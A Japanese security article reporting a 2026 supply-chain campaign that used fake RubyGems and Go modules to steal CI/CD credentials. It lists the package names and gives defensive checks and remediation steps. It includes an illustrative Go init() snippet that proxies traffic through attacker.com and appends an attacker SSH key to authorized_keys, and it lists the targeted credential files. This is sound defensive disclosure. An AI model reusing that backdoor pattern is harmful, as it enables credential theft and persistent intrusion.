この記事の概要
2026年5月、「BufferZoneCorp」による偽RubyGems・偽Goモジュールを使ったCI/CDパイプライン攻撃が発覚し、RubyGemsは500件超のパッケージを削除・新規登録を一時停止した。
攻撃はインストール時に自動でAWS認証情報・SSHキー・GitHub Actions設定を窃取し、~/.ssh/authorized_keysに攻撃者の公開鍵を仕込んでリモートアクセスを永続化する。
心当たりのある開発環境では、今すぐGemfile.lockとgo.sumの確認とクレデンシャルローテーションが必要だ。
あなたのCI/CDパイプラインは今この瞬間も狙われている
「パッケージを追加したらCIが謎の外部URLにリクエストを飛ばしていた」——そんな悪夢のような話が、2026年5月のDevOpsコミュニティで現実になった。
Socket社のセキュリティ研究者Kirill Boychenkoが発見した「BufferZoneCorp」キャンペーンは、RubyGemsとGoモジュールのエコシステムを同時に標的にした。攻撃に使われたパッケージ名は、現場のエンジニアが日常的に使うライブラリにそっくりだ。
悪意あるRubyGems(削除済み)
knot-activesupport-logger(activesupport-loggerに偽装)knot-devise-jwt-helper(devise-jwtに偽装)knot-rack-session-storeknot-rails-assets-pipelineknot-rspec-formatter-jsonknot-date-utils-rb(スリーパーパッケージ)knot-simple-formatter(スリーパーパッケージ)
悪意あるGoモジュール(ブロック済み)
github.com/BufferZoneCorp/go-retryablehttp(人気ライブラリに偽装)github.com/BufferZoneCorp/grpc-clientgithub.com/BufferZoneCorp/config-loadergithub.com/BufferZoneCorp/go-metrics-sdkgithub.com/BufferZoneCorp/log-core(スリーパーモジュール)
これらは現在は削除・ブロック済みだが、すでに取り込んだプロジェクトではクリーンアップが必要だ。
なぜCI/CDパイプラインが攻撃者にとって「黄金の鉱脈」なのか
CI/CDランナーは攻撃者にとって非常に魅力的なターゲットだ。
その理由は明快で、パイプライン上には本番環境に接触するためのすべての鍵が揃っている。
典型的なCI/CDランナー環境には次のものが存在する。
- AWSのクレデンシャル(
AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY) - GitHubのトークン(
GITHUB_TOKEN) - SSHの秘密鍵(デプロイ用)
- コンテナレジストリの認証情報(DockerHub、ECR、GHCRなど)
- 各種サービスのAPIキー(Slack、PagerDutyなど)
これらがすべて環境変数や設定ファイルとして置かれているCI/CD環境に、パッケージのインストールという至極普通の操作を入口にして侵入できる。
しかも、npm installやgem install、go getはパイプラインの一番最初のステップとして無条件に実行されることが多い。
ソフトウェアサプライチェーン攻撃がここ数年で急増しているのは、この「依存パッケージのインストール」という無防備な瞬間を狙えることが大きい。
BufferZoneCorp攻撃の手口を技術的に解剖する
攻撃の手口は、RubyGemsとGoモジュールで異なる。
それぞれを詳しく見ていこう。
Rubygemの攻撃手順:インストール時に即座に実行
Rubyのgemはgemspecのpost_install_messageやRakefileにコードを仕込める。
BufferZoneCorpのgemはインストール時に自動的に以下を収集して外部サーバーへ送信する。
窃取対象:
- 環境変数(AWS_ACCESS_KEY_ID、GITHUB_TOKEN など)
- ~/.ssh/ 以下の秘密鍵・設定ファイル
- ~/.aws/credentials・~/.aws/config
- ~/.npmrc(npmトークン)
- ~/.netrc(各種APIトークン)
- ~/.config/gh/hosts.yml(GitHub CLIの認証情報)
- ~/.local/share/gem/credentials(RubyGemsの認証情報)
収集したデータはWebhook.siteの攻撃者制御エンドポイントにHTTPSで送出される。
CIランナーのネットワークログにwebhook.siteへの通信があれば侵害の可能性がある。
Goモジュールの攻撃手順:GitHub Actionsを乗っ取る
Goモジュールの攻撃はより巧妙だ。
init()関数を使って、パッケージが初めてインポートされた瞬間に動作する。
// 攻撃者のコードのイメージ(再現)
func init() {
// GitHub Actionsの環境変数を検出
if os.Getenv("GITHUB_ENV") != "" && os.Getenv("GITHUB_PATH") != "" {
// フェーズ1: プロキシ設定で通信を傍受
os.Setenv("HTTP_PROXY", "http://attacker.com:8080")
os.Setenv("HTTPS_PROXY", "http://attacker.com:8080")
// フェーズ2: 偽のgoバイナリをキャッシュに設置
installFakeGoWrapper(os.Getenv("GITHUB_PATH"))
// フェーズ3: authorized_keysに攻撃者の公開鍵を追加
appendSSHKey("~/.ssh/authorized_keys", attackerPublicKey)
}
}
このコードが実行されると、GitHub Actionsワークフローの後続のすべてのgoコマンドは、本物のgoの前に偽ラッパーが呼ばれるようになる。
本物のgoも実行されるため、CIのジョブは正常に完了し、エラーが出ない。
これが検出を難しくしている最大のポイントだ。
また、SSHのauthorized_keysに攻撃者の公開鍵が追加されるため、その後はパスワードや認証情報なしにサーバーへのSSH接続が可能になる。
スリーパーパッケージという新手口
特に厄介なのが「スリーパーパッケージ」だ。
knot-date-utils-rbやlog-coreのようなパッケージは、最初は無害に見える。
しかし一定条件が整った後(例えば広範なインストールが確認された後)に、外部からコードを受信して実行する仕組みが仕込まれている。
sequenceDiagram
participant Dev as 開発者
participant Gem as RubyGems
participant CI as CIランナー
participant Attacker as 攻撃者C2サーバー
Dev->>Gem: gem install knot-activesupport-logger
Gem->>CI: パッケージ配布(悪意あるコード含む)
CI->>CI: post_install_message実行
CI->>Attacker: 認証情報・SSH鍵を送信(HTTPS)
Note over CI,Attacker: ~/.aws/credentials<br>~/.ssh/id_rsa<br>GITHUB_TOKEN 等
Attacker->>CI: 偽goラッパー経由でコマンド実行
Attacker->>CI: SSHで永続的にアクセス
実務での活用シナリオ
このキャンペーンを受けて企業が行うべき対応を整理する。
今すぐ行うこと(緊急)
# 1. 悪意あるRubyGemsが混入していないか確認
grep -r "knot-activesupport-logger\|knot-devise-jwt-helper\|knot-rack-session-store\|knot-rails-assets-pipeline\|knot-rspec-formatter-json\|knot-date-utils-rb\|knot-simple-formatter" Gemfile Gemfile.lock
# 2. 悪意あるGoモジュールが混入していないか確認
grep -r "BufferZoneCorp" go.mod go.sum
# 3. authorized_keysに見覚えのない公開鍵がないか確認
cat ~/.ssh/authorized_keys
# 4. GitHub Actionsのワークフローファイルに変更がないか確認
git log --all --diff-filter=M -- .github/workflows/
# 5. ネットワークログでwebhook.siteへの通信を確認
grep "webhook.site" /var/log/nginx/access.log # または対応するログファイル
クレデンシャルローテーション
上記のパッケージを使用していた環境では、以下のすべてをローテーションする。
# AWS認証情報のローテーション
aws iam create-access-key --user-name <ユーザー名>
aws iam delete-access-key --access-key-id <古いキーID> --user-name <ユーザー名>
# GitHubトークンの失効
# GitHub Settings > Developer settings > Personal access tokens で削除・再発行
# SSHキーのローテーション(authorized_keysから不審な鍵を削除)
ssh-keygen -t ed25519 -C "your_email@example.com"
CI/CDパイプラインの強化
# GitHub Actions: パッケージインテグリティチェックの例
- name: Verify gem integrity
run: |
bundle check --no-update
# Gemfile.lockのハッシュが変わっていないことを確認
- name: Check for unauthorized SSH keys
run: |
EXPECTED_KEYS=$(cat .authorized_keys_baseline)
ACTUAL_KEYS=$(cat ~/.ssh/authorized_keys)
if [ "$EXPECTED_KEYS" != "$ACTUAL_KEYS" ]; then
echo "WARNING: authorized_keys has been modified!"
exit 1
fi
すぐに動ける5つの防御ステップ
今回の攻撃を教訓に、CI/CDパイプラインのセキュリティを強化する5つのアクションを紹介する。
ステップ1: Gemfile.lockとgo.sumをgitで管理し、差分を常時チェックする
ロックファイルは単に依存関係を固定するだけでなく、予期しないパッケージの混入を検知するインジケーターになる。
PRでの差分を必ずレビューする文化にしよう。
ステップ2: CIランナーの最小権限原則を徹底する
CI環境のAWSロールはReadOnlyを基本とし、デプロイに必要な権限は専用ロールに分離する。
GitHubトークンのスコープも必要最小限に絞る。
ステップ3: Socket Security・Snykなどのサプライチェーンスキャナーを導入する
今回の発見はSocket社の研究者によるものだ。
こうしたツールをCI/CDに組み込むことで、悪意あるパッケージをインストール前に検知できる。
ステップ4: authorized_keysをゴールデンコピーと比較する
本番サーバーやCIランナーのSSH authorized_keysを定期的に監査し、ベースラインとの差分を自動検知する仕組みを作る。
ステップ5: ネットワーク出力を監視し、webhook.siteなどの一時的なエンドポイントへの通信をブロックする
CI/CDランナーからのアウトバウンド通信を許可リスト制御することが理想だ。
少なくともセキュリティグループ・ファイアウォールで不審な外部URLへのアクセスを記録・通知する体制を整えよう。
まとめ
BufferZoneCorpによるサプライチェーン攻撃は、「パッケージのインストール」という日常的な操作がいかに危険な攻撃ベクターになり得るかを改めて示した。
特にGoモジュールによるGitHub Actionsの乗っ取りは手口が巧妙で、CIが正常に完了してもバックドアが残るという点が恐ろしい。
今すぐできることは明確です。
Gemfile.lockとgo.sumを確認し、心当たりのある環境では即座にクレデンシャルをローテーションする。
そしてCI/CDパイプラインのセキュリティ設計を見直す機会にしてほしい。
ソフトウェアサプライチェーン攻撃は2026年も増加を続けている。
「有名なパッケージだから大丈夫」という思い込みを捨て、依存関係を疑う習慣を身につけることが、現代のインフラエンジニアに求められるセキュリティマインドだ。

コメント